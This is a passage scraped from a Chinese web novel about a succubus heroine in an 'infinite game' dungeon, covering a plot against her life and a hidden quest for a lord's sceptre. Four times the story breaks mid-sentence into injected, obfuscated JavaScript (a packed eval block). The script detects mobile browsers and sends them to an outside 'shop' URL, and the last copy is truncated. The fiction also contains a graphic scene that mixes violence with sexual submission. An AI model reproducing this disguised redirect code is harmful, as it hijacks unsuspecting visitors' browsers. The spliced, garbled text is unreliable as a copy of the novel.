但还有一个没有得到解答的疑惑,宁汐柔无法忽视。 那是对她而言真正生死攸关的东西。 水晶杯。 那个灼伤了宁汐柔的水晶杯,上面附带着可以伤害她的力量。 在魅魔与生俱来的知识里,宁汐柔知道有这样的一种力量存在。 净化之力,可以杀死所有来自深渊的黑暗种族。 在人类世界长大的宁汐柔第一次遇到这样的力量,也第一次意识到它的恐怖。 魅魔的拟态看似是人类,但其实远比一般的血肉身体强大,有着可怕的自愈能力,几乎所有的伤口都可以自行愈合,除了净化之力造成的伤口 ——这样的伤,需要消耗魔力来愈合。 这是很危险的。 魅魔是没有实体的种族,宁汐柔的本体,本质上就是她魔力的集成。 魔力平时栖息在拟态身体中,保护着她存放在拟态里的意识。遇到危险,魔力可以凝结成武器,或者是防护盾。再不济带着意识逃跑。魔力耗尽前,她不死不灭。 所以,对于魅魔来说,消耗魔力,都等于消耗生命。 宁汐柔知道这一点,但她从未如此确切的感受过。 魅魔没有灵魂,但依然存在对死亡的恐惧。 那种只是轻微触碰,就连骨头都要被烧尽的痛,深刻得让她感到愤怒。 但她不是会被情绪左右的人。 她现在需要查清楚这一切,是因为这个问题的答案,关系到一件很重要的事。 宴会上使用的是带有净化之力的器皿,将被器皿灼烧的人成为“恶魔眷属”,意味着德伦郡明面上显然站在光明侧。 照理说来,德伦郡的继承人也应该是这样。 那么宁汐柔被灼伤,是因为她的魅魔血统,属于场外因素意外触发,这件事与她的身份卡,德伦郡的领主继承人德洛丽丝无关。 还是这个领主继承人,本来就不简单? 伊卡瑞斯提到过,净化之力会伤害到“恶魔眷属”。 一开始,宁汐柔并没当做这是个重要信息,因为她自己就是魅魔,被净化之力伤害是自然而然的事。 除非,那个杯子本该伤害的是,拥有着“德洛丽丝”身份卡的人。 德洛丽丝会是恶魔眷属吗? 如果她是,一个恶魔眷属,如何成为本应站在光明侧立场的德伦郡继承人? 这和任务目标中[成为真正的领主],又有什么关系? 宁汐柔呼出一口气。 到了这一步,更往下思考已经没有意义,她需要更多信息,有关恶魔及其眷属的信息。 玩家当中,有谁拿到了明显带有教廷色彩的角色吗? 她开始回忆今天见过的所有玩家中,有谁的服装带有这方面的特征。 找到了。 宁汐柔脑海中浮现一个穿着黑色礼服裙,戴着白色蕾丝头冠,神情中带着不安的玩家。 她记得这个人。 要把伊卡瑞斯叫回来吗,还是明天再说。 就在此时,房间内的油灯无声熄灭,月光越过被风吹动的纱帘,在沉静的夜里,一个身影出现在窗边。 逆着月光,比起他的面容,宁汐柔的注意力无可避免地聚焦对方头上冒出来的两只角上,那是难以被认错的种族特征。 恶魔? 黑暗种族内部混乱,彼此也没有什么成体系的分类方法,基本上属于“会被净化力量伤到的都算自己人”的辨认阶段。 宁汐柔从小在人类世界长大,并没有遇到过除自己之外的黑暗种族,她对恶魔的认知来自于自己脑海中的传承记忆,知识范围仅限于:知道自己是个魅魔。 而且绝对是个天赋异禀,潜力爆表的魅魔。 至于别的。 在人类世界里生存,又用不到那些东西,不知道就不知道了。 所以,这算是宁汐柔第一次遇到广义上的同类。 她从被子里坐直了,眯起眼睛,饶有兴趣地打量着眼前的对象。 黑暗种族似乎天生适合与月光放在一起。 头生双角的恶魔还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284808|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个少年模样,穿着黑色夜行衣,衣服设计得别出心裁,领口收得很紧,勾勒着如玉山般的肩颈,腰身处布料镂空,露出小麦色肌肤,腹肌劲瘦有力,人鱼线紧致漂亮,勾引着宁汐柔的视线往更深处探去。 他有一双紫罗兰般的眸子,在夜空中折射出璀璨幽色,笑起来时候露出尖尖的虎牙,毫不掩饰自己的侵略性。 如果说伊卡瑞斯是月色下披着优雅人皮的猛兽, 那么,他就是介于人与兽之间的某种野性生物。 他看着宁汐柔时,瞳孔几乎占据了整个眼球,眼中闪烁着浓郁到极致的专注,有种强烈的非人感。 非人类之前不会有什么“遇见同类”的老乡情怀,但在人类社会长大的宁汐柔还是对他产生了带着一点好奇心的兴趣。 唔,不行,积食是不好的习惯。 “哎呀呀,对我这么冷淡?我刚才在外面,听着你的声音,忍到都要爆炸了。” 坐在窗边的恶魔开口说道。他的声音和伊卡瑞斯刚好是两个极端,带着炽热温度,情绪与渴望都外放坦荡。 “我这么乖,有没有奖励?” 呼吸之间,他来到宁汐柔身边,摸上她的脖颈。 在皮肤接触的一瞬间,宁汐柔握住了他的手腕,露出盈盈一笑。 与本体不同,她将自己的人类拟态设置为一个十分柔和清丽,盈盈弱质的形象,眼若桃花,乌发雪肤。 这样的一张脸,哪怕只是面无表情地站在原地,依然让人觉得弱柳扶风,不堪一折。 此刻,这张柔弱秀美的面孔上,绽出一个带着点泪意翩然的笑容来,宁汐柔双手握住恶魔少年的手臂,感受着手心里温热紧实的肌肉质感,纤纤玉指缓缓收紧—— 把这只手臂捏成了粉碎性骨折。 “——!!!” 恶魔瞪大了眼睛,强忍着也没克制住嘴里的一声痛呼,跪倒在她床边,仰躺在地上,左手小臂已经被扭成一个诡异的形状,碎裂的臂骨刺破血肉,从皮肤里扎出来。 小麦色的肌肤被溅上鲜血,他的血是红色的,在这一点上,他居然又像是一个人了。 他看着宁汐柔,瞳孔中的紫罗兰涣散开来,放弃抵抗地躺在地上,濒死一般,更显出不可名状的绮美。 宁汐柔地视线掠过他鲜血淋漓的伤口,顺着他绷紧的小腹往下,目光短暂地停顿了一下,忽然勾唇。 “呼、真的要爆炸了。” 他喘息着,呼吸轻而短促,撕裂的伤口和碎裂的骨骼,带来了比疼痛更加沸腾的感受。 “求您了,主人,好主人,疼疼我。” “你还不够疼吗?闭嘴,我在想事情。” 宁汐柔踩在他的脸上。 或许是因为痛苦还是别的什么,他的身躯颤栗颤抖着。 他顺从地不再发出声音,寂寞的唇舌吻上宁汐柔唯一与他相连的肌肤,连带着炽热的呼吸。恶魔的鼻尖挺俏,随着啄吻的动作,尾巴不安分地攀上她的小腿,小三角型讨好地蹭着,在肌肤上刮过,留下极淡,又无法忽视的痒。 “好冷酷,主人…使用我吧,尽情地使用我……” 恶魔呢喃着,在她睥睨傲慢的眼神下溃不成军。他的唇肉感丰盈,逸散出呢喃爱语,像是温暖的蛇。 “滚。” 宁汐柔又踩了他一脚,将他踢开,忽然动作又停下了,转过头看着他。 “等等。” 唔,好像是用得上。 5. 领主的婚礼(5) 年蓁蓁是被拎着衣服领子,从窗户被空投进来的。 负责“请人”的恶魔态度很差,臭着一张脸闯进她屋子里,把她拎起来飞了一路。年蓁蓁觉得自己脑子都要被吹麻了。 完了,不会摔死吧? 被扔下去的时间,她绝望地闭上了眼睛。 然后,一双温软有力的手接住了她。 温软和有力组合在一起,听起来实在是有些诡异,但是年蓁蓁觉得自己似乎也找不到更好的形容词了。 就是一种,很陌生,但是又切实如此的感觉。 年蓁蓁睁开眼,看见一张若云海般秀美缥缈的面孔,是宁汐柔。 她记得宁汐柔,今天来到花园的玩家们都不可能忘记这个人。在年蓁蓁眼中,宁汐柔固然是美的,但让她震撼的,是对方在美丽之外的东西。 是一种……带着愉悦的疯狂底色。 这种疯狂,让年蓁蓁想起很多她不愿回忆起的东西。 “晚上好。” 宁汐柔将她抱到了沙发上,看着明显惊魂未定的年蓁蓁,意味深长地看了一眼已经安静坐在窗边的恶魔,不像是责怪。 看似直脑筋的恶魔比想象中聪明。 他看出来宁汐柔抓年蓁蓁过来是有事要问,所以提前唱了红脸。他对年蓁蓁的方式越粗暴,越能动摇她的心神,让宁汐柔更方便去做接下来的事。 这个方法显然是有效的,因为年蓁蓁已经快要维持不住自己呼吸的节奏了。 “你们先聊,要处理的时候,记得叫我。” 恶魔看懂了她的眼神,笑容里露出一点少年意气。他看过来时,那双紫罗兰色的眸子柔和得仿佛可以被揉进夜色。 有一瞬间,好像他爱她。 不过,年蓁蓁可没法欣赏这一幕,她整个人都要应激了。 处理?处理什么?处理,她吗!? 年蓁蓁瞪大了眼睛,又不敢说话,一双小鹿眼瞳孔震荡,死死盯着宁汐柔——她倒是一眼就能看出来到底谁才是这里的掌控者。 可是!一个新人玩家可能掌控这种强力NPC吗??这也太超过了吧!! 同为新人玩家,却只能被强行拎过来的年蓁蓁在心里无声呐喊。 “不用害怕,我只是想问你一点事情。” 宁汐柔放缓了声音,坐在年蓁蓁对面。 魅魔的拟态又一次发挥了作用,即使意识到了宁汐柔深埋在皮相底下的本色,即使看出来宁汐柔才是发号施令的人,但在此刻的年蓁蓁依然不自觉地感到了一阵安心。 “我、你想问什么?我知道的话,都会尽量回答你的。” 年蓁蓁深呼吸一下,双手握拳,语气已经维持住了镇静。 她其实也是个相当有潜力的新人玩家,在这样的场面下还能保持思考,没有因为彼此之前明显的力量悬殊和地位相差,就立刻认输,对宁汐柔俯首称臣。 一上来就讨好的叫哈巴狗,一比较拳头大小就认输的只能当炮灰。 即使年蓁蓁不可能成为和宁汐柔平等合作的队友,她也要成为一个有价值的下属。 人必须有价值,才能在强大的疯子身边活下去。 她深谙其道。 “我想知道,有关恶魔眷属的信息。” 宁汐柔说。 在之前的花园集会中,宁汐柔只和离秽进行了交流,因为在场的所有人中,一眼扫去,只有离秽配当她的敌人。 但这不代表她没有观察当时在场的其他玩家。 玩家,或者说能够完成离秽考验的玩家人不多,堪堪七个。 除开两个看神情明显是老玩家,剩下的五人中,三女两男,其中就有一个年蓁蓁。 当时七人都穿着符合舞会风格的礼服,但礼服的款式、华丽程度各有所不同,能够看出来,他们的身份卡之间也是有身份高低区分的。 年蓁蓁的礼服是其中做工最朴素的。 黑色礼服裙,戴着白色蕾丝冠,和当时其他新人玩家一样,神情看似镇定,但带着藏不起来的不安惴惴。 好像没什么特别的。 直到宁汐柔在脑海中重新以“教廷元素”为锚点搜索,这件礼服的特别之处才缓缓浮现: 没有明显张扬的纹样,但礼服裙裙边,用暗纹绣着花样繁复的教廷花纹,荆棘缠绕的十字架,和蓬勃生长的百合花。 黑色裙摆上,用近似色丝线绣成的花纹,在光照充足的舞会晚宴或者光线黯淡的傍晚花园都不显眼。 但在房间里,油灯的照耀会让它们焕发出静谧的流光。 是最适合祷告室的装扮。 “恶魔眷属?我虽然知道一些,但不一定对你有用。况且,你想要知道相关的内容,不是可以……” 不是可以直接问把我抓来的那个恶魔吗? 年蓁蓁一开始想这么说,但她很快止住了话头,这是一个有些危险的话题。 面对这样的人,不能反问,也不要探寻她们的选择。 “我角色名字是伊迪丝,在教廷里的身份是见习修女。因为只是见习修女,所以能接触到的信息不多。但是这个部分的信息并不难获得,教廷确实和恶魔眷属站在对立面,这是这个副本的常识。教廷里,我们居住的房间都放着可以驱逐恶魔的圣杯,就是被主教净化过的杯子。” 她说。 圣杯? 宁汐柔看向面前圆桌上的水晶杯。 所以舞会上附带着净化之力的水晶杯是由教廷提供的。 那么宁汐柔进副本时,德洛丽丝手里的杯子是被人有意为之送来的吗? 如果是的话,为什么? 看着宁汐柔沉思的样子,年蓁蓁犹豫了一下,还是继续说: “而且,教廷和长老会的关系很好。我的身份是德伦郡一个小贵族家的女儿,从小就被送到教廷了。我的父亲,是长老会的议员之一。像我这样身份的见习修女,教廷里应该还有好几个。” 年蓁蓁此刻已经算得上坦诚,这是她的诚意,也算是对自己刚才说错话的弥补。 “这样啊。” 宁汐柔点点头,把玩着手中的水晶杯,杯身璀璨,触手润而凉,是极难得的好料子。 这个杯子上,就没有一点净化之力。 是因为教廷和长老会的关系良好,所以为了表示自己站队的立场,教廷小气到连一些被净化过的“圣杯”,都不肯给德洛丽丝,这个德伦郡的领主继承人吗? 她看着年蓁蓁,眼神中带着思考。 虽然在人类社会里生活了二十几年,但宁汐柔的思考逻辑依然更偏向魅魔的本能:强大的是敌人,美丽的是食物,二者皆无的是空气。 所以宁汐柔一开始并不把年蓁蓁放在眼里,这是理所当然的,在强大的老玩家离秽面前,所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284809|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的新人玩家都和鹌鹑没什么两样,区别只是恐惧的鹌鹑,和强壮镇定的鹌鹑。 不过,上面说的,是在人类社会生存所使用的法则。 随着生存环境的改变,宁汐柔觉得自己需要再开发一套,适用于无限游戏的生存方式。 不如就加一个: 趁手可用的是工具。 哦不,队友。 “可以请你让他把我送回去吗?如果明天没有出现在早课上,我会被判定OOC的。” 年蓁蓁说。 OOC? 宁汐柔知道这个词的意思,outofcharacter,一般指作品中的角色行为偏离了角色的性格设定,也可以简单理解为人设偏移。 在青春期刚开始的年级,宁汐柔为了适应周围人类突然的性格变化,曾经下载过几款恋爱游戏,用作研究人类心理的范本,因此知道这个词。 当然,虽然嘴上这么说,也可能只是想玩而已。 从年蓁蓁的表述来看,OOC似乎是一件很严重的事。 一个新手玩家知道这一点,可能性无非就是这么几个:1、吃过OOC的亏,2、有老玩家提点,3、这是一个本来就写在身份卡上的要求。 宁汐柔自己的身份卡上,有这个要求吗? 她点了点杯身。 “你的人设是什么?如果是非常内向的人设,会对接下来的任务造成麻烦吧?” 宁汐柔问。 听到这句话,年蓁蓁的表情停滞了一下,半响,她像是下定了什么决心一样,很小声地说: “我的人设是安静内向。但,反正主线任务是只要顺利参加婚礼就好了,应该没事吧?” 她不是自问,而是在用另一种方式问宁汐柔: 你的主线任务,和我们不一样吗? 你拿到的,是和我们不同的身份卡吗? “为什么这么怕我?” 宁汐柔当然听出来了她的言外之意,也看出来了她小心翼翼到处委婉用语的意图。 但宁汐柔又不太理解。 即便是恶魔之前的行为给她留下了阴影,但宁汐柔觉得自己后来的行动和语言都没有问题,理应已经安抚了她才对。 况且,年蓁蓁不管是举动还是话语间透露出来的信息,实际上与宁汐柔合作的意愿已经非常强烈。 这个状况下,她们不该是这样的沟通方式吧? 人类真是麻烦。 傲慢的魅魔如此想。 “你不喜欢我怕你?” 年蓁蓁问。 “重点不是这个。” 宁汐柔摇头,她也只是随口一问。比起副本中所隐藏着的盘根错节,年蓁蓁的秘密在她眼中看来不值一提。 “我们需要能够正常沟通,才能合作。所以你可以说出自己的想法,也可以直接问你想要获得解答的问题。” “好、好的。” 年蓁蓁点了点头,咬住下唇: “那……你是特殊身份卡,对吗?” “对,怎么了?” 宁汐柔点头。她已经没有掩饰自己身份卡特殊的打算了,毕竟这件事的难度或许不比把所有玩家的眼睛全挖出来小。 又是几次深呼吸,年蓁蓁握紧拳头,指甲陷进肉里。 她说: “离秽,可能要杀你,她想抢你的身份卡!” 6. 领主的婚礼(6) 离秽要杀她? 对于这个消息,宁汐柔没有半点意外。尽管离秽说,她认为宁汐柔是可以将自己带出无限游戏的人,后来也算是软硬兼施地邀请了宁汐柔加入她麾下。 但如果这只是用来迷惑宁汐柔的烟雾弹,让她以为离秽不会对自己下手,从而放松警惕,方便离秽杀人夺宝。 也没什么不合理的。 “你明知道她要杀我。但还是选择和我合作?” 宁汐柔问。 甚至可以说,比起离秽要杀她这件事,她更好奇为什么年蓁蓁选择告诉她这个消息。 宁汐柔不怵离秽,是因为离秽再强大,也只是个人类。 对于魅魔宁汐柔而言,她对于离秽最高的欣赏,也只是把对方当做对手,而非威胁。 但新人玩家年蓁蓁是不知道这些的。 在年蓁蓁的视角里,离秽是强大的老玩家,宁汐柔是一上场就暴露了特殊身份卡的新玩家,双方的实力差距悬殊。 照理来说,没人会站在宁汐柔这边,去当离秽的敌人。 看着宁汐柔浑不在意的模样,年蓁蓁抿了抿唇,点点头: “我只是……没办法当做不知道。其实我也知道,我这样很蠢。在现实世界抱着良心生活已经足够艰难了,在这种地方应该更是吧。说不定都活不过去这个副本。” 宁汐柔不置可否,她无意评价人类的道德善恶,她不感兴趣,更懒得安慰。 “你能说下,你具体是怎么得到这个信息的吗?” “好。” 年蓁蓁又点头。 作为教廷的见习修女,年蓁蓁在今晚打扫小祈祷室。她把这个理解为游戏给玩家的自由活动时间,用来收集信息,获得线索。 所以,借着打扫的机会,年蓁蓁将里面的东西都摸索翻找了一遍,可惜一无所获。 就在她准备离开之际,门外传来一阵脚步声,她赶紧停下了脚步,没有出去。 说不定是什么深夜密谋? 年蓁蓁自己也觉得这想法有点异想天开,但动作还是很诚实地把耳朵凑了上去。 哪怕只是一点教廷的八卦新闻,也说不定什么时候能派上用场呢。 门外的是两个人,年蓁蓁紧紧贴在门边,生怕错过一点。隔着门,她看不见来人的面容,只能听见铁甲动作间碰撞的声音。 这个声音太过独特,年蓁蓁脑海中立刻浮现了一个人影。 下一刻,离秽的声音响起: “主教阁下这个时间传召我,是有什么事?” 回答她的,是一个平稳沉静的声音,应该就是离秽口中的主教: “明天领主庄园内,要为继承人选择未婚夫,你负责护送教廷选出的候选人。把事情做得利落点。” 离秽沉默了一会儿,忽然笑出声来: “是送得利落点,还是杀得利落点?” 主教的声音依然冷漠: “如果她顺利结婚继位,我们没有理由继续代为保管那个东西。但是,领主的权杖,必须继续留在教廷。” 两人只是路过,随着他们走远,后面的内容年蓁蓁也听不清了。 其中的细节年蓁蓁并没有完全听懂,但主教“绝不能让继承人顺利结婚继位”的意思太强烈, 那么,如何做到这一点? 在这场婚姻里,未婚夫只是耗材,死了还可以再换,死多少换多少,德伦郡的继承人不可能缺男人。 只有杀死继承人本人,才能保证这一点。 所以离秽明天要杀的,只能是宁汐柔。 刚想到这一点时,年蓁蓁下意识的想要去告诉宁汐柔。 这是她作为现代人类,身体里本能保有的道德观念和善良本性。 但很快,她意识到,自己不但不知道宁汐柔在什么地方,没有办法直接和对方交流,更不要提对方会不会相信她说的话。 在最后,她才想到,如果把这件事情告诉宁汐柔,其实就等于得罪了离秽这个老玩家。 而宁汐柔的性格看上去也并不像是会保护别人的人,即使会,同为新人玩家的宁汐柔也不一定有这个能力。 人的第一本能是自保,年蓁蓁因此陷入了犹豫。 她在犹豫中回到了自己的房间,在犹豫中被人揪起领子,甩进了宁汐柔的窗里。 然后,做出了这个不明智的选择。 “明天要在庄园内选择领主继承人的未婚夫?还有,领主的权杖,那是什么?” 宁汐柔的注意力完全放在了另一件事上。 [叮!恭喜您触发隐藏任务!] [任务目标:获得“领主的权杖”] [触发人:宁汐柔] [提示:是否把该隐藏任务与线索提供者“年蓁蓁”共享?] [共享后,玩家年蓁蓁将成为您本次任务中的协力者] [是/否] 嗯?宁汐柔不由得挑了下眉。 在绝大部分游戏里,隐藏任务都是可遇不可求的宝藏。 一般来说,获得线索的人会自动开启任务,这是最公平的方法。 可是在这个副本里,获得“领主的权杖”这个线索的,是年蓁蓁自己。 但年蓁蓁没有触发隐藏任务。 而是当她将这个关键信息转述给宁汐柔的时候,这个隐藏任务才被触发——在宁汐柔手里。 看来,这个隐藏任务只能由“领主继承人”触发。 这就是特殊身份卡的福利? 宁汐柔选择[是]。 看到隐藏任务版面,年蓁蓁的眼睛瞬间瞪大了,差点惊呼出声。 “你,你就这么把任务共享给我了?” “本来就是你带来的线索。” 宁汐柔回她。 “这个奖励,这个奖励也太好了吧!” 年蓁蓁兴奋地朝空气挥舞了一下拳头。 “你是什么奖励?” 宁汐柔问。 她的隐藏任务界面没有说明奖励是什么,但是也并不难猜:任务目标是获得“领主的权杖”。那么如果任务成功,这个权杖本身就是奖励。 权杖很显然只有一个,宁汐柔获得权杖,作为协力者的年蓁蓁会获得什么? “任务成功后并通关副本后,点数系统中随机一项属性X10!” 年蓁蓁激动得脸都有点红了。 这不算她大惊小怪。点数系统有多重要,离秽之前已经说得很明白了,点数系统对玩家的提升和帮助,几乎等同于物种进化了。 从离秽之前提到的内容来看,点数系统的提升难度颇大,如果这个信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284810|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息属实,那么这个隐藏任务的奖励丰厚到令人惊骇。 虽然,对现在的年蓁蓁来说,这份在这个副本里用不上的奖励,只是一张吃不到的大饼。 但是这也是宁汐柔觉得人类很神奇的地方。 有了期待,他们就会燃烧起不可估量的斗志。 这是她为数不多喜欢人类的地方。 期待。 “我真的得回去了,不然明天起床集合祷告的时候如果我不在,绝对会OOC的。” 年蓁蓁从兴奋中回过神来,看着宁汐柔。 “谢谢你把隐藏任务共享给我!你、你是个很好的人!” 这可能是她来到副本里之后,第一次露出笑容。 她其实是个笑起来很明媚的人。 “你不用回去了。” 宁汐柔摇头。 啊?刚共享完任务就灭口?不会吧,不至于吧!就不能等她走了之后再后悔吗? 年蓁蓁的笑容僵住了,她的瞳孔又开始颤抖起来。 “……虽然看上去安静内向,但你的思维真的很活跃。” 宁汐柔从她的表情中看懂了她情绪的震荡起伏,忍不住说了一句。 “我说你不用走了,是因为即使今天你和我在一起,不回教廷,也不会OOC。” 宁汐柔笑了。 - 清晨,阳光透过薄纱,照在宁汐柔的头发上。她的头发是不掺杂一丝杂质的纯黑色,在阳光下反射出绸缎一般的光泽。 伊卡瑞斯推开门,看见她的脸颊陷在柔软的天鹅绒枕头里。 他走上前去,皮鞋踩在地毯上,没有发出一点声音。 一步,两步,他在床边单膝跪下,银色的长发散落在被子上,如水波荡漾,月色涌动。 伊卡瑞斯一只手握着她的手腕,另一只手托着她的手背,闭上眼睛,将自己的脸颊放在她的手心里,很慢地蹭了蹭。 感受脸颊上的肌肤被她的指尖滑过,这个冷俊绮美到锋利的人,此刻露出幼犬般依恋的神情。 这是无关旖旎风月的一幕,萦绕在空气中的,唯有一股甜而轻的情愫。 伊卡瑞斯几乎要沉醉在这一瞬间,许久才恋恋不舍地睁开眼,看见宁汐柔那双黑到将所有光亮都吞噬进去的眸子,正平静地看着他。 一直表现出完美男仆姿态的伊卡瑞斯动作一顿,默默地低下头去,月色一样的长发从他悄然升腾起温度的耳尖滑落下去。 “您,请您恕罪,是我冒犯了。”他的声音里第一次带上忐忑。 “不会啊。” 宁汐柔坐起来,指尖勾起一缕他的长发把玩。 “很可爱。” 伊卡瑞斯抬眼,两人之间一时静谧,只有视线交融缠绕在一起。 “额……” 睡在沙发上的年蓁蓁有些紧张地咽了下口水,觉得自己是不是不该睁开眼睛比较好。 她哪里想到会是这种展开啊! 但伊卡瑞斯已经恢复了过来,他对被年蓁蓁看到这件事倒是没有半点窘迫。 他优雅地站起身,对着宁汐柔行礼,脸上的笑容依然完美谦卑。 “今天的未婚夫候选人都已经在前厅等候了。请让我服侍您洗漱。” “哦,对了,那位教廷的骑士长也来了。” 7. 领主的婚礼(7) 教廷的骑士长? 宁汐柔想了下,反应过来。 应该是离秽。 目前副本里已知的势力,在德伦郡范围内,主要就是教廷、长老会和继承人三方,副本的主线也围绕着这三方展开。 虽然每个人的任务目标会因为身份卡的不同产生变化,但是玩家之间的大方向应该是一致的。 就好像宁汐柔的“德洛丽丝”身份卡,是处于主线中心的领主继承人,任务目标是顺利继位,成为真正的领主; 而年蓁蓁的“伊迪丝”身份卡,是一个角色相对边缘的见习修女,任务目标就只是顺利参加婚礼。 但两个人的任务目标,都和“领主的婚礼”这个大事件紧紧联系在一起。 其他玩家的任务即使各有不同,也不会超出这个限定范围。 离秽的任务会是什么? 坐在床边,宁汐柔默默思考着。 年蓁蓁的个人任务中,几乎没有教廷的成分。但比起见习修女,骑士长这张身份卡明显分量更重,和教廷的牵扯也更深。 这种牵扯对任务必然也会有影响。 结合教廷主教不想看着德洛丽丝顺利继位这一点,离秽的任务是不是对婚礼施加负面影响? 她点了点下巴,觉得自己想得有道理。 伊卡瑞斯单膝跪在床边,为宁汐柔穿鞋。 他的手腕环住宁汐柔的脚踝,掌心顺着弧度向下,让她赤足踩在自己的膝盖上。 燕尾服的质感摩擦着她的足心,有点痒。 “今天的早餐是香煎黑斑鳕和蟹肉沙拉,佐酒是窖藏六年的霞多丽葡萄酒,饭后甜点我选了马卡龙,您觉得可以吗?” 德伦郡地处内陆,目前的生产条件下,海鲜是奢侈的物资。 这份菜单用来招待客人,算得上体面。 “嗯。” 宁汐柔对人类的食物没有太大的兴趣。 倒算不上排斥,魅魔的感官各方面都比人类敏感上太多,这个种族特性导致了人类社会的几乎所有食物,在宁汐柔看来都调味过重了。 但她也懒得为无法提供生存能量的伪进食行为浪费时间做饭,所以,除了维持人类身份时的必要社交聚餐,宁汐柔一般不吃饭。 她的回答十分敷衍,伊卡瑞斯自然也看出来。 他抬眼看了一眼宁汐柔,垂下眼,动作熟稔轻巧地为她系上高跟鞋的丝绸绑带,声音里带着一点笑意: “希望您会喜欢。” 年蓁蓁觉得自己要好无助。 这不是无限游戏吗?不是生存副本吗? 什么意思,这俩人干什么呢?眼神都要拉丝了好吗! 弱小无助的新人玩家年蓁蓁默默叹了口气,很小心地,不敢发出声音。 “伊迪丝小姐的衣物已经准备好了,您可以到自己的房间去换。” 伊卡瑞斯的眼神都没转过来,对着年蓁蓁说。 他和其他人说话的时候,声音会回复冷锐的本色。 “我、”我还有房间呢? 年蓁蓁下意识想问,又在看到宁汐柔的眼神后猛地闭嘴,点点头,什么也没说,跟着在门口等待的仆人走了。 原来人设的可变动范围有这么大? 看着年蓁蓁离开的背影,宁汐柔缓慢地眨了眨眼。 时间回到昨天晚上。 “我真的得回去了,不然明天起床集合祷告的时候如果我不在,绝对会OOC的。” 年蓁蓁从兴奋中回过神来,看着宁汐柔。 “谢谢你把隐藏任务共享给我!你、你是个很好的人!” 宁汐柔收回眼神,看着她,摇了摇头。 “你不用回去了。因为即使今天你和我在一起,也不会OOC。” 就在年蓁蓁惊讶中夹杂着迷惑的眼神里,宁汐柔抬手指向自己刚才看向的梳妆台,梳妆台旁边的墙面挂了一幅油画。 油画中是两个少女,一个少女穿着华丽的大裙摆,坐在沙发上看书,另一名少女站在沙发后面,靠着沙发背,视线也落在华服少女手中的书上。 这幅画笔触精妙,画风写实,是足可以拿出去作为名家大作展览的水准。两个人物被塑造得栩栩如生,神情自然灵动,仿佛画中人就站在这里一般。 事实上,画中人也确实就站在这里。 因为这两个少女的脸庞,赫然就是年轻了十岁左右的宁汐柔和年蓁蓁。 “这幅画,之前在这里吗?” 年蓁蓁的声音略有凝滞,带着疑惑。 她是从窗子里被甩进来的,一进来就被宁汐柔接住了,并没有仔细观察这间房。 “不在。” 宁汐柔很确定。 她刚才可是在梳妆台上享受了一段质量和技巧都相当不错的夜间娱乐活动,如果那时候就有这幅画,她早看见了。 “那,这、这个画是突然出现的?怎么会?” 年蓁蓁的声音变小了,忽然,又猛地放大: “我懂了!是不是因为那个协力者的设定?我们的身份卡相差太大了,你是高高在上的领主继承人,我是个小贵族家的女儿,在教廷当见习修女。我们甚至都不算是同一个阵营。 这么来看,我们几乎没什么交集的,也不太可能有交集。 所以,在那个身份背景下,我作为教廷的见习修女,没有帮你夺取权杖的理由。也是因为这一点,当我成为你隐藏任务协力者的时候,为了保证隐藏任务的顺利进项,游戏系统改变了我的人设……” 年蓁蓁说了一大串,忍不住小小地拍手欢呼了一下: “我还以为我要一遍冒着OOC风险一遍找东西,心里怕得要死。没想到这个游戏系统还挺有人性的嘛!” 这么容易就原谅了全世界吗。 甚至还是让他们连死了都不得安宁,还得从地府爬出来继续为了求生拼命的副本世界。 油画被精心装裱起来,但边框和画面已经有了隐约的发黄痕迹,再加上画中人物的年龄段,可以推测出来,这幅油画已经有年头了。 所以加了一个青梅设定? 宁汐柔看着画面上的两个少女,思绪忽然飘远。 作为魅魔,在天生的种族优势下,宁汐柔从小就是人群中最受欢迎的焦点。人们总是会不自觉地对她产生好感和保护欲,即便是性格最恶劣的人,也会不由自主地在她面前克制自己的负面情绪。 但宁汐柔从来没有过真正意义上的朋友。 大部分时候,人群散去,她从没有过打算让某个人留在她身边。 她谈不上喜欢人类, 也谈不上讨厌。 犹如巨兽俯视蝼蚁,没有建立感情的意义。 “不过,加了这个设定,我帮着你找权杖这件事,是不会OOC了没错。可是,这好像和我今晚回不回教廷没关系啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 